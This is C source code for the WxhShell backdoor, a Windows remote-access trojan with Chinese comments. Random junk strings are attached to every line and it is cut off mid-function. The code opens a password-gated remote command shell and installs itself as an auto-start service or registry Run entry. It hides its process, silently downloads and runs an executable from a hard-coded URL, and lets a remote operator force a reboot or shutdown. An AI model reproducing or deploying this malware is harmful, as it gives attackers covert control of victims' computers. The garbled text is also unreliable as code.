  // 关机 $=)gpPT  
  case 'd': { ?IF)+]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jo9gCP.  
    if(Boot(SHUTDOWN)) lyv4fP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XogVpkA  
    else { rzUlO5?R=  
    closesocket(wsh); P6\6?am  
    ExitThread(0); 3TS_-l  
    } XKS8K4"  
    break; 2' ] KTHm  
    } /TV= $gB`  
  // 获取shell Dvc&RG  
  case 's': { e2cP *J  
    CmdShell(wsh); 6;iJ*2f5V  
    closesocket(wsh); ;wHCj$q  
    ExitThread(0); l1'6cLT`  
    break; 3I  $>uR  
  } 9t$]X>}  
  // 退出 %%JMb=!%2  
  case 'x': { AXPMnbUS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~Lz%.a;o  
    CloseIt(wsh); /?*]lH.  
    break; $n!K6fkX%  
    } = a}b+(R  
  // 离开 G8J*Wnwu[K  
  case 'q': { [0y$! f4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); E\U`2{^.  
    closesocket(wsh); 2oCkG~j  
    WSACleanup(); _zMgoc7  
    exit(1); 2VGg 6%  
    break; U*)m' ,  
        } oD.r `]k  
  } `$TRleSi  
  } )Xtn k  
-7{ $ Vj  
  // 提示信息 'hqBo|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &JP-O60  
} 5Qh?>n>*  
  } }`\/f  
eOI (6U!  
  return; CAD@XZSh  
} rsXq- Pq*  
p B;3bc  
// shell模块句柄 OI}cs2m  
int CmdShell(SOCKET sock) &(N+.T5cp  
{ .@F]Pht  
STARTUPINFO si; <RNJ>>0  
ZeroMemory(&si,sizeof(si)); T~:|!`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =] C]=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O"G >wv  
PROCESS_INFORMATION ProcessInfo; rXfy!rD_P_  
char cmdline[]="cmd"; p-SJ6Gg 9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]#2Y e7+  
  return 0; 9DQa PA6  
} VQ#3#Hj  
tmUFT  
// 自身启动模式 |r%D\EB  
int StartFromService(void) OEx^3z^  
{ hC <O`|lF  
typedef struct v <Kmq-b  
{ U}k9 Py  
  DWORD ExitStatus; =#gEB#$x:  
  DWORD PebBaseAddress; wU\s; dK  
  DWORD AffinityMask; 4m)OR  
  DWORD BasePriority; jPZaD>!  
  ULONG UniqueProcessId; n\z,/'d"  
  ULONG InheritedFromUniqueProcessId; Z|" p*5O,  
}   PROCESS_BASIC_INFORMATION; j _L@U2i  
wV\gj~U;P  
PROCNTQSIP NtQueryInformationProcess; d5 7i)=  
<FI-zca  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ma'FRt  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !V 2/A1?  
sZGj"_-Hzu  
  HANDLE             hProcess; 6Htg5o|W  
  PROCESS_BASIC_INFORMATION pbi; F# T 07<  
\;u@"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qt%D'  
  if(NULL == hInst ) return 0; b` Hz$8  
O3DmNq$dz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a2Pf/D]n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,JU@|`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G)v #+4  
W6H,6v  
  if (!NtQueryInformationProcess) return 0; l<0}l^C.  
,<BbpIQ2o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *}k;L74|  
  if(!hProcess) return 0; YW u cvw&  
)WT>@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %1}K""/  
t58e(dgi  
  CloseHandle(hProcess); o*U]v   
!l]dR@e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Wjhvxk  
if(hProcess==NULL) return 0; &nBa=Enf  
J]f3CU,<N  
HMODULE hMod; e@:sR  
char procName[255]; _4^R9Bt  
unsigned long cbNeeded; l2N]a9bq@  
iY"l}.7)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \%^%wXfp  
!*6CWV0  
  CloseHandle(hProcess); `;%]'F0`  
sVG(N.y  
if(strstr(procName,"services")) return 1; // 以服务启动 ?T+q/lt4  
mU}F!J#6  
  return 0; // 注册表启动 4jD2FFG- G  
} {43>m)8+  
Y%`xDI  
// 主模块 b[V^86X^  
int StartWxhshell(LPSTR lpCmdLine) C4TE-OM8  
{ s(X;Eha  
  SOCKET wsl; P(F+f `T  
BOOL val=TRUE; |$5[(6T|  
  int port=0; 3U_2!zF3_  
  struct sockaddr_in door; a7N!B'y  
3Zi@A4Wu  
  if(wscfg.ws_autoins) Install(); k'0Pi6  
6G=j6gK%P  
port=atoi(lpCmdLine); ^%O]P`$  
xhcK~5C  
if(port<=0) port=wscfg.ws_port; ZXm/A0)S  
Y ')x/H  
  WSADATA data; 0}_[DAd6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; giz7{Ai  
gz3pX#S  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {nLjY|*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Qxj JN^Q  
  door.sin_family = AF_INET; M(/r%-D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [jmd  
  door.sin_port = htons(port); !.d@L6  
9k{PBAP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2RSt)3!},  
closesocket(wsl); ;G%R<Z  
return 1; yn#X;ja-  
} rtc9wu  
n=[/Z!  
  if(listen(wsl,2) == INVALID_SOCKET) { _3ZYtmn.  
closesocket(wsl); >$4d7.^hb/  
return 1; !"Oh3 6  
} :0h_K  
  Wxhshell(wsl); G37U6PuZi  
  WSACleanup(); '3uVkp 6tF  
8 @tV9+u  
return 0; kh`"WN Nt  
eH{[C*  
} yj\Nkh  
c"[cNZo  
// 以NT服务方式启动 %$b:X5$Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z*-2.}&U<  
{ A{A\RSZ0  
DWORD   status = 0; ?!+MM&c-n  
  DWORD   specificError = 0xfffffff; P'_H/r/#  
0\eIQp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wp&=$Aa)'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I1X-s  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @ta7"6p-i@  
  serviceStatus.dwWin32ExitCode     = 0; 13>0OKg`#  
  serviceStatus.dwServiceSpecificExitCode = 0; UeRj< \"Q  
  serviceStatus.dwCheckPoint       = 0; D|{jR~J)xK  
  serviceStatus.dwWaitHint       = 0; HPZ}*m'  
Ftr5k^!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ')$+G152  
  if (hServiceStatusHandle==0) return; V;v8=1t!  
ml+; Rmvb  
status = GetLastError(); #)nSr  
  if (status!=NO_ERROR) aeD;5VV  
{ sfNE68I2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !4X f~P  
    serviceStatus.dwCheckPoint       = 0; I"ok&^t^}  
    serviceStatus.dwWaitHint       = 0; }|pwz   
    serviceStatus.dwWin32ExitCode     = status; R#I0|;q4|p  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1]p ZrBh"E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :>C2gS@  
    return; NGbG4-w-  
  } H5Io{B%=  
J|qZ+A[z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `9BROZnq  
  serviceStatus.dwCheckPoint       = 0; N'GeHByIT  
  serviceStatus.dwWaitHint       = 0; |E JD3 &  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BW$"`T@c6~  
} (^Y~/  
i uF*.hc,%  
// 处理NT服务事件,比如:启动、停止 r/u A.Aou^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y#3j`. $3p  
{ ?k(7 LX0j  
switch(fdwControl) ;;#qmGoE  
{ r2,.abo  
case SERVICE_CONTROL_STOP: N(Fp0  
  serviceStatus.dwWin32ExitCode = 0; Tu).K.p:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; AHXSt  
  serviceStatus.dwCheckPoint   = 0; LhA/xf  
  serviceStatus.dwWaitHint     = 0; pu2 tY7J a  
  { =\H!GT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q$zO83  
  } &B6Ep6QS  
  return; f,018]|  
case SERVICE_CONTROL_PAUSE: X\bOz[\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;)D];u|_  
  break; xHD=\,{ig  
case SERVICE_CONTROL_CONTINUE: 2#c<\s|C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WE:24b6  
  break; d?A 0MKnl  
case SERVICE_CONTROL_INTERROGATE: YoBDvV":@  
  break; \1^^\G>H5  
}; K<>oa[B9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XovRg,  
} YS/Yd[ e  
hoK>~:;  
// 标准应用程序主函数 .y!<t}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9_Be0xgJ3^  
{ 2AT5  
n>BkTaI  
// 获取操作系统版本 MkfBu W;)  
OsIsNt=GetOsVer(); U:^PC x`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); --$ 4Q(#  
old(i:2  
  // 从命令行安装 sn obT Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); um!J]N^  
\hDlTp }  
  // 下载执行文件 H4:`6 PSL  
if(wscfg.ws_downexe) { |}=acc/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _Xk.p_uh  
  WinExec(wscfg.ws_filenam,SW_HIDE); -?V-*jI  
} 5C o  
F8jd'OR  
if(!OsIsNt) { -p]1=@A<}  
// 如果时win9x,隐藏进程并且设置为注册表启动 D1zBsi94D  
HideProc(); p@xf^[50k  
StartWxhshell(lpCmdLine); _m5uDF?[  
} _Kl_61k  
else Oo5w?+t  
  if(StartFromService()) `6~Aoe  
  // 以服务方式启动 "s0)rqf<  
  StartServiceCtrlDispatcher(DispatchTable); 2$+bJJM  
else WW4vn|0v  
  // 普通方式启动 v%+:/m1  
  StartWxhshell(lpCmdLine); TN+iA~kQ  
42G)~lun-d  
return 0; :XZU&Sr"  
} tn(JC%?^  
,)Me  
MQ 5R O;RY  
T@2#6Tffo  
=========================================== #`CA8!j!!  
Z}mLLf E  
#U! _U+K  
a, k'Vk{  
oHd FMD@  
7}f}$1   
" 2Rw&C6("w  
sFT.Oxg<  
#include <stdio.h> \<JSkr[h!"  
#include <string.h> >s>1[W@*  
#include <windows.h> $PTP/^  
#include <winsock2.h> m0ER@BXRn  
#include <winsvc.h> {o_X`rgrL  
#include <urlmon.h> _=_Px@<Q  
,k )w6)  
#pragma comment (lib, "Ws2_32.lib") U}yW<#$+  
#pragma comment (lib, "urlmon.lib") I`-8Air5f  
QM5R`i{r  
#define MAX_USER   100 // 最大客户端连接数 Uc7mOa}4  
#define BUF_SOCK   200 // sock buffer BLfTsNzmt  
#define KEY_BUFF   255 // 输入 buffer .7e2YI,S  
#hfXZVD  
#define REBOOT     0   // 重启 \KMToN&2  
#define SHUTDOWN   1   // 关机 !=;+%C&8y  
@$S+Ne[<  
#define DEF_PORT   5000 // 监听端口 be]bZ 1f  
Tl(^  
#define REG_LEN     16   // 注册表键长度 F, W~,y  
#define SVC_LEN     80   // NT服务名长度 "-e \p lKj  
;X?}x%$  
// 从dll定义API 1O/+8yw  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R;s?$;I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l~c@^!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R.jIl@p   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sF!($k;!  
fd +hA  
// wxhshell配置信息 UK595n;P  
struct WSCFG { _ "?.!  
  int ws_port;         // 监听端口 %<k2#6K  
  char ws_passstr[REG_LEN]; // 口令 B~]k#Ot)  
  int ws_autoins;       // 安装标记, 1=yes 0=no Aydm2!l1  
  char ws_regname[REG_LEN]; // 注册表键名 xSktg]u Se  
  char ws_svcname[REG_LEN]; // 服务名 m+`fn;*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w~(1%p/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .L9j>iP9 *  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mg^I=kpk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /Y9>8XSc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *7CV^mDm  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :[wsKFaV+  
+o\:d1y  
}; ah+~y,Gl  
%eX{WgH  
// default Wxhshell configuration E@@5BEB ~  
struct WSCFG wscfg={DEF_PORT, En~5"yW5>]  
    "xuhuanlingzhe", wW7eT~w  
    1, f!\lg  
    "Wxhshell", `|6'9  
    "Wxhshell", WKC.$[ T=  
            "WxhShell Service", /(u}KMR!f  
    "Wrsky Windows CmdShell Service",  f\]sz?KY  
    "Please Input Your Password: ", _,p/l&<  
  1, -}nxJH)  
  "http://www.wrsky.com/wxhshell.exe", VCY\be  
  "Wxhshell.exe" 13=A  
    }; [$qyF|/K`n  
v25R_""~  
// 消息定义模块 4" Cb/y3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Rn}l6kbM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gp5_Z-me  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *,e:]!*  
char *msg_ws_ext="\n\rExit."; j/R[<47  
char *msg_ws_end="\n\rQuit."; Ja,wfRq  
char *msg_ws_boot="\n\rReboot..."; s3~lT.  
char *msg_ws_poff="\n\rShutdown..."; &M46&^Jho  
char *msg_ws_down="\n\rSave to "; kStnb?nk  
5Sm}n H  
char *msg_ws_err="\n\rErr!";  a][f  
char *msg_ws_ok="\n\rOK!"; G9Y#kBr  
)Q1"\\2j0  
char ExeFile[MAX_PATH]; 6g 5#TpCh  
int nUser = 0; ^A!Qc=#z}  
HANDLE handles[MAX_USER]; ;T"zV{;7BR  
int OsIsNt; HBy[FYa4  
1,6}_MA  
SERVICE_STATUS       serviceStatus; @W s*QTlV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; n,jKmA  
hlV=qfc  
// 函数声明 igkYX!0#8O  
int Install(void); 1Yq?X:  
int Uninstall(void); 2Z-ljD&  
int DownloadFile(char *sURL, SOCKET wsh); !Y$h"<M  
int Boot(int flag); O~T@rX9f  
void HideProc(void); k`So -e-  
int GetOsVer(void); CLRiJ*U  
int Wxhshell(SOCKET wsl); Jy)KqdkX+  
void TalkWithClient(void *cs); KV]X@7`@  
int CmdShell(SOCKET sock); &,}j #3<  
int StartFromService(void); JW{rA6?   
int StartWxhshell(LPSTR lpCmdLine); q)Lu_6 mg  
q"%_tS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5>CEl2mSl  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); zDw5]*R  
(pY 7J  
// 数据结构和表定义 @Fluc,Il  
SERVICE_TABLE_ENTRY DispatchTable[] =  `7 vHt`  
{ :Pvzl1  
{wscfg.ws_svcname, NTServiceMain}, \?Z{hmN  
{NULL, NULL} ?j40} B]]d  
}; R@/"B8H  
5 xppKt  
// 自我安装 43|XSyS  
int Install(void) -7*ET3NSI/  
{ v/](yT  
  char svExeFile[MAX_PATH]; [Yo,*,y31  
  HKEY key; brW :C? }  
  strcpy(svExeFile,ExeFile); 3?c3<`TW  
?\vh9  
// 如果是win9x系统,修改注册表设为自启动 'm4W}F  
if(!OsIsNt) { )Hpa}FGT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z)! qW?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G!"YpYml  
  RegCloseKey(key); d*jMZ%@uS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]QpWih00V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 87BHq)  
  RegCloseKey(key); tZ'|DCT  
  return 0; wCr(D>iM  
    } fuWO*  
  } A;*d}Xe&J  
} S#MZV@nGF  
else { PMN jn9d  
)CuZDf@  
// 如果是NT以上系统,安装为系统服务 N):tOD@B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  Of"  
if (schSCManager!=0) o$#G0}yn  
{ -&3hEv5  
  SC_HANDLE schService = CreateService 4?ICy/,U-  
  ( gLE:g5v6  
  schSCManager, X.Rb-@  
  wscfg.ws_svcname, /JHc!D  
  wscfg.ws_svcdisp, J&M o%"[)  
  SERVICE_ALL_ACCESS, 7[> 6i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F ~^Jmp7Y  
  SERVICE_AUTO_START, `V`lo,"\  
  SERVICE_ERROR_NORMAL, ht2\y&si  
  svExeFile, AfX}y+Ah  
  NULL, O_ChxX0KP  
  NULL, QWD'!)Zb  
  NULL, xD5:RE~g  
  NULL, L\@I*QP  
  NULL UJM1VAJ0  
  ); V8rx#H~  
  if (schService!=0) LS7, a|  
  { n\xX},  
  CloseServiceHandle(schService); `-(|>5wWS  
  CloseServiceHandle(schSCManager); 4Uphfzv3D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l|/ep:x8  
  strcat(svExeFile,wscfg.ws_svcname); P!H_1RwXKC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *1v[kWa?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q=%RDG+  
  RegCloseKey(key); 9;r)#3Q[^  
  return 0; hEBY8=gK  
    } ]^lw*724'>  
  } }% `.h"  
  CloseServiceHandle(schSCManager); #~7ip\Uf[  
} Bwa'`+bC  
} KVn []@#  
i+p^ ^t\  
return 1; ,cB\  
} +z9Q-d%O  
Q4+gAS9  
// 自我卸载 Y~L2  
int Uninstall(void) }s(N6a&(  
{ EdlTdn@A  
  HKEY key; F P* lQRA  
H@q?v+2  
if(!OsIsNt) { h|,:e;>}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Xc?&_\. +  
  RegDeleteValue(key,wscfg.ws_regname); k< y>)  
  RegCloseKey(key); $wo?!gt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }T&iewk  
  RegDeleteValue(key,wscfg.ws_regname); NYrQ$N"  
  RegCloseKey(key); v6>_ j L  
  return 0; | #47O  
  } \QYFAa  
} 9y<*8bI   
} 9~p[  
else { c(!6^qk]!`  
]ooIr Y8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bgK'{_o-  
if (schSCManager!=0) 7R6ry(6N  
{ l)Crc-:}4j  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^; )8VP6  
  if (schService!=0) Bj1?x  
  { {]%0lf:  
  if(DeleteService(schService)!=0) { \l9qt5rS  
  CloseServiceHandle(schService); 0:9.;x9_  
  CloseServiceHandle(schSCManager); @GdbTd  
  return 0; ";3zX k[#  
  } Qa-K$dm%  
  CloseServiceHandle(schService); sj HrPs e  
  } "|qqUKJZ  
  CloseServiceHandle(schSCManager); 9s6U}a'c  
} G#d{,3Gq1  
} Urr@a/7  
]sE?ezu  
return 1; C~o7X^[R\  
} j)<IRD^  
>zXsNeGQR  
// 从指定url下载文件 &6ZD136  
int DownloadFile(char *sURL, SOCKET wsh) e[&L9U6GW-  
{ f;W|\z'  
  HRESULT hr; 7?GIS '  
char seps[]= "/"; 8B\2Zfe  
char *token; ^(f"v e#7v  
char *file; ^/\Of{OZ-  
char myURL[MAX_PATH]; PH+S};Uxv  
char myFILE[MAX_PATH]; B{'( L |  
g^}8:,F_  
strcpy(myURL,sURL); u>kN1kQ8  
  token=strtok(myURL,seps); YoBPLS`K  
  while(token!=NULL) VQ7*Z5[1  
  { B9NWW6S  
    file=token; 19E 8'@  
  token=strtok(NULL,seps); 8~J(](QA  
  } 0yuS3VY)  
{^\+iK4bS  
GetCurrentDirectory(MAX_PATH,myFILE); qI#;j%V  
strcat(myFILE, "\\"); .QZaGw=,z  
strcat(myFILE, file); _qw?@478  
  send(wsh,myFILE,strlen(myFILE),0); #xX5,r0  
send(wsh,"...",3,0); B0dQ@Hq*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a&c6.#E{y  
  if(hr==S_OK) +l9!Fl{MK\  
return 0; }BZ"S-hZ  
else KKiE@_z  
return 1; 18+)`M-5o  
eZIhEOF  
} Gd-'Z_b  
<<+\X:,  
// 系统电源模块 G Uon/G8  
int Boot(int flag) "4ri SxEyF  
{ 4dO~C  
  HANDLE hToken; eYN5;bx)W  
  TOKEN_PRIVILEGES tkp; |wiqGzAr{  
$$ Oey)*  
  if(OsIsNt) { VUPXO  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "alyfyBu'M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x4;"!Kq\  
    tkp.PrivilegeCount = 1; ?[g=F <r  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "Zl5<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5ni~Q 9b  
if(flag==REBOOT) { T 6)bD&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b{L/4bu  
  return 0; r:f[mk"-"A  
} S- pV_Ff  
else { K/i*w<aPb7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `6lr4Kk @R  
  return 0; V^3L3|k  
} ]x RM&=)<  
  } >7I15U  
  else { 1 *'HL#  
if(flag==REBOOT) { *>|gxM8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) + +M$#Er&  
  return 0; 'ig&$fzb  
} #_6I w`0  
else { Q=AavKn#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'gC_)rK*  
  return 0; /fZe WU0W  
} jcuB  
} ^l9N48]|?  
D8Ykg >B;&  
return 1; "D63I|O)  
} B@&4i?yJ  
C G0 M  
// win9x进程隐藏模块 6$kqaS##  
void HideProc(void) F Sw\_[^CQ  
{ ok!L.ac  
'*5i)^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _F>CBG  
  if ( hKernel != NULL ) \fG#7_wt  
  { s5CXwM6cx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ; <&*rnH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1_9<3,7  
    FreeLibrary(hKernel); j(m.$:  
  } Fv~20G (O  
<0b)YJb4M  
return; c~z82iXNO  
} l`oZ) ?ur  
)bS yB29S  
// 获取操作系统版本 ~Sj9GxTe  
int GetOsVer(void) ?[@J8  
{ f .Q\Z'S^  
  OSVERSIONINFO winfo; AL9chYP}/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~;l@|7wGz  
  GetVersionEx(&winfo); NQBpX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s}w{:Hk,x8  
  return 1; h2Ld[xvCu%  
  else tSr8 zAV  
  return 0; oI }VV6vO  
} ?}wk.gt>  
#M9~L[nF S  
// 客户端句柄模块 G<}()+L  
int Wxhshell(SOCKET wsl) ?zh9d%R  
{ A\4D79>x  
  SOCKET wsh; -ws? "_w  
  struct sockaddr_in client; #.rdQ,)<  
  DWORD myID; b*a#<K$T_  
7m4ao K  
  while(nUser<MAX_USER) ^q{9  
{ nyQ&f'<   
  int nSize=sizeof(client); wPQH(~k:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); cG[l!Z  
  if(wsh==INVALID_SOCKET) return 1; 0)Uce=t`  
8&GBV_`I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4 {y)TZ  
if(handles[nUser]==0) \UPjf]&  
  closesocket(wsh); _Gn2o2T  
else Y~c|hfL  
  nUser++; J\+0[~~  
  } B^4&-z2|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E{XH?_xo  
|XQIfW]A  
  return 0; 'GNK"XA^  
} +ieY:H[  
@:+8?qcP  
// 关闭 socket 6n,i0W  
void CloseIt(SOCKET wsh) |:nn>E}ZA/  
{ ff]6aR/ UQ  
closesocket(wsh); Vr]id  
nUser--; 8<X#f !  
ExitThread(0); B,?T%  
} %KsEB*' "  
m8A#~i .  
// 客户端请求句柄 ;O,+2VzP%^  
void TalkWithClient(void *cs) cr%"$1sY;  
{ gwLf'  
YmL06<Mh  
  SOCKET wsh=(SOCKET)cs; NP0\i1P>.?  
  char pwd[SVC_LEN]; i6^twK)j  
  char cmd[KEY_BUFF]; }JF13beU  
char chr[1]; 3 }duG/  
int i,j; [$mHv,~  
/KFfU1  
  while (nUser < MAX_USER) { SW H2  
j_K4;k#r  
if(wscfg.ws_passstr) { @Xt*Snd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T. }1/S"m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I3a NFa}  
  //ZeroMemory(pwd,KEY_BUFF); 6Y^23W F  
      i=0; nr95YSH  
  while(i<SVC_LEN) { ,c;Kzp>e  
H3z: ZTI  
  // 设置超时 {x|[p_?  
  fd_set FdRead; 8m-U){r!U^  
  struct timeval TimeOut; \HqNAE2T  
  FD_ZERO(&FdRead); t)~"4]{*}D  
  FD_SET(wsh,&FdRead); SEo'(-5  
  TimeOut.tv_sec=8; tI`Q/a5@  
  TimeOut.tv_usec=0; BBaQ}{F8>2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); APvDP?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o*-)Tq8GHE  
U_M$#i{_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '}9x\3E  
  pwd=chr[0]; hpHr\g  
  if(chr[0]==0xd || chr[0]==0xa) { #*D)Q/k  
  pwd=0; |t^E~HLm,  
  break; . k#U]M  
  } O9G[j=U  
  i++; qB~rQPa  
    } 6"wlg!k8  
/z4$gb7Y  
  // 如果是非法用户,关闭 socket d?ex,f.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gR&Q3jlIV  
} SzAJ2:qhl  
! +a. Ei  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P Y_u/<u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 34`'M+3  
N nRD|A  
while(1) { .I7pA5V{#  
*T- <|zQ  
  ZeroMemory(cmd,KEY_BUFF); {o)Lc6T8s  
qz+dmef  
      // 自动支持客户端 telnet标准   :G [|CPm-  
  j=0; QqDC4+ p"  
  while(j<KEY_BUFF) { VyXKZ%\dQ/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _G[g;$ <  
  cmd[j]=chr[0]; i5en*)O8  
  if(chr[0]==0xa || chr[0]==0xd) { oQLq&zRH`f  
  cmd[j]=0; x u>9(,l  
  break; V_R@o3kv;  
  } xR-%L  
  j++; p ?*Q- f  
    } iIvc43YV%  
9%k2'iV7  
  // 下载文件 zpzK>DH(  
  if(strstr(cmd,"http://")) { Cl5uS%g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); zvvhFN2s  
  if(DownloadFile(cmd,wsh)) o15-ZzE-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "~#3&3HVS  
  else N,`$M.|?  
